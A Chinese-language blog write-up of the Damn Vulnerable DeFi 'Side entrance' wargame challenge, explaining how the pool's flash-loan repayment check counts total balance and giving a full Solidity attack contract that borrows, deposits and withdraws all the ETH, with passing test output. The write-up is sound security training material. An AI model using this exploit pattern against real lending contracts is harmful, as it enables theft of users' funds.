# Damn Vulnerable DeFi 挑战记录 #4 - Side entrance

By [Runstar](https://paragraph.com/@runstar) · 2022-07-28

---

[**Challenge #4 - Side entrance**](https://www.damnvulnerabledefi.xyz/challenges/4.html)

> A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.
> 
> This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
> 
> You must take all ETH from the lending pool.

**目标:** 从闪电贷池中取走所有ETH

      after(async function () {
            /** SUCCESS CONDITIONS */
            expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal("0");
    
            // Not checking exactly how much is the final balance of the attacker,
            // because it'll depend on how much gas the attacker spends in the attack
            // If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
            expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(
                this.attackerInitialEthBalance,
            );
       
    

### 代码解析

`SideEntranceLenderPool.sol` 借贷池合约

*   `deposit` 存款函数
    
*   `withdraw` 取款函数
    
*   `flashLoan` 闪电贷函数
    

`flashLoan` 分析

        function flashLoan(uint256 amount) external {
            uint256 balanceBefore = address(this).balance;
            require(balanceBefore >= amount, "Not enough ETH in balance");
            
            IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    
            require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
        }
    

*   check 闪电贷前余额大于借款金额
    
*   执行闪电贷套利操作
    
*   check 池子余额大于闪电贷前余额(成功还款)
    

**漏洞:** `require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");`

* * *

### 攻击思路:

由于`flashLoan` 函数中check成功还款的逻辑为判定借贷池中的ETH总余额是否大于闪电贷前的余额,而不是判定仅通过闪电贷操作的还款

因此我们先通过闪电贷借出所有ETH,在套利合约中执行`deposit` 存款操作存入贷出的所有ETH,此时借贷池中的余额等于原始余额,通过check还款, 完成闪电贷操作通过`deposit` 函数存款后,攻击合约的`balances` 将等于闪电贷出的所有ETH,再执行`withdraw` 函数取出池子所有ETH.

### 代码示例:

    // SPDX-License-Identifier: MIT
    
    pragma solidity ^0.8.0;
    
    interface IFlashLoanEtherReceiver {
        function execute() external payable;
    }
    
    contract SideEntryAttack is IFlashLoanEtherReceiver {
        address pool;
        uint256 constant TOKEN_INPOOL = 1000 * 10**18;
    
        constructor(address _pool) {
            pool = _pool;
        }
    
        function flashLoan() public {
            bytes memory flashLoanData = abi.encodeWithSignature("flashLoan(uint256)", TOKEN_INPOOL);
            (bool success, ) = pool.call(flashLoanData);
            require(success, "failed");
        }
    
        function execute() external payable override {
            bytes memory depositeData = abi.encodeWithSignature("deposit()");
            (bool success, ) = pool.call{ value: TOKEN_INPOOL }(depositeData);
            require(success, "failed");
        }
    
        function withdraw() public {
            bytes memory withdrawData = abi.encodeWithSignature("withdraw()");
            (bool success, ) = pool.call(withdrawData);
            require(success, "failed");
        }
    
        function attack() public {
            flashLoan();
            withdraw();
            payable(msg.sender).transfer(address(this).balance);
        }
    
        receive() external payable {}
    }
    

        it("Exploit", async function () {
            /** CODE YOUR EXPLOIT HERE */
            const SideEntryAttack = await ethers.getContractFactory("SideEntryAttack", attacker);
            this.attackLoan = await SideEntryAttack.deploy(this.pool.address);
            await this.attackLoan.attack();
        });
    

_运行通过_

    ❯ yarn run side-entrance
    yarn run v1.22.19
    warning ../../package.json: No license field
    $ yarn hardhat test test/side-entrance/side-entrance.challenge.js
    warning ../../package.json: No license field
    $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/side-entrance/side-entrance.challenge.js
    
    
      [Challenge] Side entrance
        ✓ Exploit (151ms)
    
    
      1 passing (2s)
    
    Done in 3.76s.
    

\*\*_Twitter:_ [_@0xRunstar_](https://twitter.com/0xRunstar)

---

*Originally published on [Runstar](https://paragraph.com/@runstar/damn-vulnerable-defi-4-side-entrance)*
